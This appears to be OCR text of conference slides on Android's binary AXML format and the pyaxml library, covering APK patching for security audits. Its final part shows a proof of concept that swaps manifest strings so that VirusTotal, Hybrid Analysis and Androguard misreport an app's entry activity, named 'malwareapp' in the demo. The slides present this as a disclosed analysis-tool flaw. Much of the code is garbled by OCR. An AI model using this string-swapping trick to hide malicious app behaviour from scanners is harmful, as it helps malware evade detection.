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An AXML is an internal format used by applications

Axml is used to store resource information like: Axml is use to store metadata information inside a

special AXML file, AndroidManifest:
P Strings to handle multi language

P Custom user data P Used and created permissions
P Certificate P Exported activities
P Exported services
P Exported Broadcast receivers
» Providers

P etc.




Reader
Writer i v v
Language Python Java NodeJs Python

Serializable


https://github.com/androguard/androguard
https://github.com/ytsutano/axmldec
https://github.com/jjanier/axml
https://github.com/codyi96/xml2axml
https://github.com/ecnx/axml
https://gitlab.com/MadSquirrels/mobile/pyaxml

Help auditors modify the content of the Android application:

P Add a debug feature to set breakpoints
P Inject a DBI like Frida to enable dynamic analysis

P Add new resources, such as network configuration, to inject a proxy certificate and assist in analyzing network
communication

> ...

These tasks are typically done on a rooted Android device, but if we incorporate these features directly into the
application, there will be no need to root Android phone.



https://frida.re/

APK

apktool d

Modify APK

apktool b

APK patched




APK

—> apktool d

Apktool can break some
links to resources during

the extraction.

Modify APK

Apktool can't rebuild the
application without these

lost link.

apktool b

APK patched




Apktool can be used to
extract the application
without resource
equivalent to unzip

APK —> unzip Modify APK apktool b

Apktool can rebuild it but
all XML files are encoded
to AXML

APK patched
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AXML File

AXMLHeader R

String blocks

Resource Map

Resource XML

AXMLHeader_STRING_POOL

stringoffsets

styleoffsets

stringblocks

AXMLHeade " R POO 8

Strings encode example
>| if UTF8 flag enable

styleblocks

AXMLHeader

resourceids

StringBlock

StringBlock

\x03\x03\x61\x62\x63\x00...

if UTF16 flag enable

\x03\x00\x61\x00\x62\x00\x63\x00...

namespaceURI u32 Oxfffffff

u32 Oxfffffff

u32 Oxffffff

u32 Oxfffffff

[USiiiii

encoding
data g
AXMLHeadei 6
be 0
ResXML
omme
amespaceUR 0
e 0
butevalue 0x1400
attribute
Attribute
bute 16
Atribute 116 2 -1 A |
Attribute
Attributes

XMLElement

StyleBlock

XMLElement

Legend

Optional block

Define block

Pointer or index

Length of elements

Legend

Name of the value

Default value

resourceid

ResXMLStartElement

ResXMLEndElement

ResXMLStartNamespace

ResXMLEndNamespace

AXMLHeader S

ResXML

namespaceURI u32 4 Oxffffff

u32 4 Oxffffffff

LYWIIGEEREIRES XML ... NS_TYP 16

ResXML

ResType (u16)

RES_NULL_TYPE = 0x0000;
RES_STR_POOL_TYPE = 0x0001;
RES_TABLE_TYPE = 0x0002;
RES_XML_TYPE = 0x0003;

RES_XML_FIRST_CHUNK_TYPE = 0x0100;
RES_XML_ST_NS_TYPE= 0x0100;
RES_XML_END_NS_TYPE = 0x0101;
RES_XML_ST_ELT_TYPE = 0x0102;
RES_XML_END_ELT_TYPE = 0x0103;
RES_XML_CDATA_TYPE = 0x0104;
RES_XML_LAST_CHUNK_TYPE = 0x017f;

RES_XML_RESOURCE_MAP_TYPE = 0x0180;

RES_TABLE_PACKAGE_TYPE = 0x0200;
RES_TABLE_TYPE_TYPE = 0x0201;
RES_TABLE_TYPE_SPEC_TYPE = 0x0202;
RES_TABLE_LIBRARY_TYPE = 0x0203;
RES_TABLE_OVERLAYABLE_TYPE = 0x0204;
RES_TABLE_OVERLAYABLE_POLICY_TYPE = 0x0205;
RES_TABLE_STAGED_ALIAS_TYPE = 0x0206;




AXML File

AXMLHeader R

String blocks

Resource Map

Resource XML

AXMLHeader_STRING_POOL

stringoffsets ~—

styleoffsets
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styleblocks

AXMLHeader,

resourceids
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Legend

Optional block

Define block
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Length of elements

Name of the value

Default value
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Strings encode example

ingBlock

ResXMLEndNamesp:

>| if UTF8 flag enable

\x03\x03\x61\x62\x63\x00...

encoding
if UTF16 flag enable
\x03\x00\x61\x00\x62\x00\x63\x00...
b 0x0
e 0
namespaceURI u32 Oxfffffff
name u32 Oxffffffff
Attribute value u32 Oxfffffff
type u32 Oxfffffff
Attribute data (Ui

ResType (u16)

RES_NULL_TYPE = 0x0000;
RES_STR_POOL_TYPE = 0x0001;
RES_TABLE_TYPE = 0x0002;
RES_XML_TYPE = 0x0003;

RES_XML_FIRST_CHUNK_TYPE = 0x0100;
RES_XML_ST_NS_TYPE-= 0x0100;
RES_XML_END_NS_TYPE = 0x0101;
RES_XML_ST_ELT_TYPE = 0x0102;
RES_XML_END_ELT_TYPE = 0x0103;
RES_XML_CDATA_TYPE = 0x0104;
RES_XML_LAST_CHUNK_TYPE = 0x017f;

RES_XML_RESOURCE_MAP_TYPE = 0x0180;

RES_TABLE_PACKAGE_TYPE = 0x0200;
RES_TABLE_TYPE_TYPE = 0x0201;
RES_TABLE_TYPE_SPEC_TYPE = 0x0202;
RES_TABLE_LIBRARY_TYPE = 0x0203;
RES_TABLE_OVERLAYABLE_TYPE = 0x0204;
RES_TABLE_OVERLAYABLE_POLICY_TYPE = 0x0205;
RES_TABLE_STAGED_ALIAS_TYPE = 0x0206;
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android.permission.INTERNET
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def replace_activity(input_file, output_file, activity_name, new_activity_name):
with open(input_file, ) as f:
axml, _ = pyaxml.AXML.from_axml(f.read())

xml = axml.to_xml()




def replace_activity(input_file, output_file, activity_name, new_activity_name):
with open(input_file, ) as f:
axml, _ = pyaxml.AXML.from_axml(f.read())
xml = axml.to_xml()

android_name =
for activity in xml.findall(
{android_name}="{activity_name} ) :
activity.attrib[android_name] = new_activity_name




def replace_activity(input_file, output_file, activity_name, new_activity_name):
with open(input_file, ) as f:
axml, _ = pyaxml.AXML.from_axml(f.read())
xml = axml.to_xml()

android_name =
for activity in xml.findall(
{android_name}="{activity_name} ) :
activity.attrib[android_name] = new_activity_name

axml_object = pyaxml.axml.AXML()
axml_object.from_xml(xml)




def replace_activity(input_file, output_file, activity_name,
with open(input_file, ) as f:
axml, _ = pyaxml.AXML.from_axml(f.read())
xml = axml.to_xml()

androld name =
for activity in xml.findall(

new_activity_ name):

{android_name}="'{activity_name} ) :

activity.attrib[android_name] = new_activity_name

axml_object = pyaxml.axml.AXML()
axml_object.from_xml(xml)

open(output_file, ) .write(axml_object.pack())







Serializable and Protobuf ?
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def getAttributeName(self, index):
res = self.sb[name]

if not res or res ==

attr = self.m_resourcelIDs[name]
if attr in public.SYSTEM_RESOURCES[ 1[ ]:
res = + public.SYSTEM_RESOURCES] 11
else:
res = .format(attr)
return res




def getAttributeName(self, index):
res = self.sb[name]

1f not res or res == ;
attr = self.m_resourcelIDs[name]
if attr in public.SYSTEM_RESOURCES] 1[ ]:

res = + public.SYSTEM_RESOURCES] 11
else:

FESH =

.format(attr)
return res

Androguard gets the name from stringblocks if it exists inside stringblocks, but this information exists also on




Let's go exploit
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apkpatcher

https://qgitlab.com/



https://gitlab.com/MadSquirrels/mobile/

Application source code

AndroidManifest.xml
java
L exploit
L— intent
—— malwareapp.java
—— squirrelapp.java

Makefile
res




AndroidManife '.

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="exploit.intent">
<application android:supportsRtl="true">
<activity android:taskAffinity=".squirrelapp" android:name=".malwareapp"

<intent-filter>
<action android:taskAffinity="android.intent.action.MAIN"
android:name="android.intent.action.MAIN" />
<category android:taskAffinity="android.intent.category.LAUNCHER"
android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>




package exploit.intent;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

public class malwareapp extends Activity {

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Log. v ( , );
finish();




package exploit.intent;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

public class squirrelapp extends Activity {

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Log. v ( , );
finish();




Source —>»> APK




Source : \\ ) APK patched

apkpatcher )




import pyaxml
import click

def exploit_axmlfile(input_dir):
path_manifest = input_dir +

axml_object, _ = pyaxml.axml.AXML.from_axml(open(path_manifest,
st = pyaxml.StringBlocks(proto=axml_object.stringblocks.proto)
st.switch( , )

axml_object.stringblocks.proto=st.proto
axml_object.compute()
open(path_manifest, ).write(axml_object.pack())

).read())



>

0:00/1:01




LINK:35¢c874e3712cf62a73408497/00b89960838ba2d83306460c5b90d9d121cda3a’/

E Q,  35c874e3T12cf62a7340849700b89960838ba2d83306460c5b30d9d121cda3a?

exploit_patched.apk

Android Info ©

Summary

Android Type APK

Package Name exploit.intent

Main Activity exploit.intent.squirrelapp
Activities

exploit.intent.squirrelapp

Intent Filters By Action

APK

exploit.intent

exploit.intent.squirrelapp



https://www.virustotal.com/gui/file/35c874e3712cf62a7340849700b89960838ba2d83306460c5b90d9d121cda3a7/details

LINK:35¢c874e3712cf62a73408497/00b89960838ba2d83306460c5b90d9d121cda3a’/

2]

HYBRID
ANALYSIS

Q,  35c874e3T12cf62a7340849700b89960838ba2d83306460c5b30d9d121cda3a?

& Sandbox ~

B exploit_patched.apk

Filename
Size
Type
Description
Architecture
SHA256

Version Info
Minimum SDK
Target SDK
Version Code

Version Name

exploit_patched.apk
8.5KiB (8690 bytes)

Zip archive data, at least v2.0 to extract

B Quick Scans ~

(@ File Collections

B Resources ~

35c874e3712cf62a7340849700b89960838ba2d83306460c5b90d9d121cda3a7 B

8 (Froyo)
8 (Froyo)
]
]

Package Name

Entrypoint

exploitintent

@ Request In

(e

Classification (TrID)
* 72.9% (JAR) Java Archive

exploitintent.squirrelapp

File Activities

Activity

exploitintent squirrelapp

Package Name

Entrypoint

Description

Entrypoint

exploitintent

exploit.intent.squirrelapp



https://www.virustotal.com/gui/file/35c874e3712cf62a7340849700b89960838ba2d83306460c5b90d9d121cda3a7/details
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B exploit_patched.apk
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Version Name |

& Android API

Package Name exploitintent

I Package Name exploitintent

Entrypoint exploitintent.squirrelapp Entrypoint exploitintent.squirrelapp

File Activities

Activity Description

exploitintent squirrelapp Entrypoint



https://www.virustotal.com/gui/file/35c874e3712cf62a7340849700b89960838ba2d83306460c5b90d9d121cda3a7/details
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https://www.virustotal.com/gui/file/35c874e3712cf62a7340849700b89960838ba2d83306460c5b90d9d121cda3a7/details

def getAttributeName(self, index):

res = self.sb[name]

if name < len(self.m_resourcelIDs):
attr = self.m_resourcelIDs[name]
if attr in public.SYSTEM_RESOURCES][
res = public.SYSTEM_RESOURCES]
.replace( , )
else:
res =
return res

]:
][attr]

.format(attr)



https://github.com/androguard/androguard/releases/tag/v4.0.1

def getAttributeName(self, index):

res = self.sb[name]

if name < len(self.m_resourcelIDs):
attr = self.m_resourcelIDs[name]
if attr in public.SYSTEM_RESOURCES][
res = public.SYSTEM_RESOURCES]
.replace( , )
else:
res =
return res

]:
][attr]

.format(attr)



https://github.com/androguard/androguard/releases/tag/v4.1.2

Quarkslab

hank you!

Contact information:

pyaxml: https://gitlab.com/MadSquirrels/mobile/pyaxml
https://gitlab.com/MadSquirrels/mobile

Email: bforgette@quarkslab.com

Twitter: https://twitter.com/Mad5quirre!


https://gitlab.com/MadSquirrels/mobile/pyaxml
https://gitlab.com/MadSquirrels/mobile
mailto:bforgette@quarkslab.com
https://twitter.com/Mad5quirrel
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AXMLHeader STR_POOL

stringoffsets STR_POOL_TYPEZ28

styleoffsets len_stringblocks u32

stringblocks len_styleblocks u32 Cegend
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StringBlock

StringBlock

Strings encode example
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AXML File
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ResXMLStartElement
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ResXMLStartElement

Header
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ResXMLEndElement

Header
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ResXMLStartNamespace
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Header

ResXML
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AXMLHeader STR_POOL

stringoffsets STR_POOL_TYPEZ28

styleoffsets len_stringblocks u32

stringblocks len_styleblocks u32 Cegend
styleblocks flags u32 | 4 [ — Optional block
stringoffset  u32 —— |Define block
styleoffset u32 <_|_ :?c)jig)t(er or
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stringoffset i32 4

styleoffset i32

styleoffset

Default value
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encoding
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